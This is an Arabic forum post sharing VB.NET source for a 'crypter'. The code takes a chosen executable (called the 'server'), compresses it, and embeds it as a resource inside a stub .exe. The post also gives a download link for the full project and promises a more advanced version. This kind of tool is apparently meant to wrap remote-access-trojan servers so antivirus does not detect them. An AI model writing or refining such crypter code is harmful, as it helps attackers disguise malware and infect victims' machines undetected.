لمسة, اخيرة, برنامج, تشفير, يحتاج, سورس
سلام عليكم ورحمة الله
اليوم معم اقدر انام عملت برنامج تشفير يحتاج لمسة اخيرة فقط
وهية سيت اب ومبروك عليك برنامج متكامل
صورة البرنامج

طبعا السورس يحتاج الى سيت اب فقط مرتب
وبل اخير قم باضافة الى زر التشفير الكود الاتي
Dim kbytes() As Byte
Dim ebytes() As Byte
Dim SVD As New SaveFileDialog
With SVD
.Title = "اختر مكان حفظ السيرفر المشفر"
.Filter = "تطبيقات|*.exe"
.ShowDialog()
End With
kbytes = IO.File.ReadAllBytes(TextBox1.Text)
ebytes = Compression.Compress(kbytes)
IO.File.WriteAllBytes(SVD.FileName, My.Resources.Folder)
WriteResource(SVD.FileName, ebytes)
MsgBox("Server Has Been Crypted Sacssasfly")
سورس البرنامج
http://upload.windows8vb.com/do.php?...8630129911.rar
انشالله غدا انزل برنامج تشفير كامل متكامل ومطوور رهيب
في امان الله
s,vs fvkhl[ jatdv dpjh[ glsm hodvm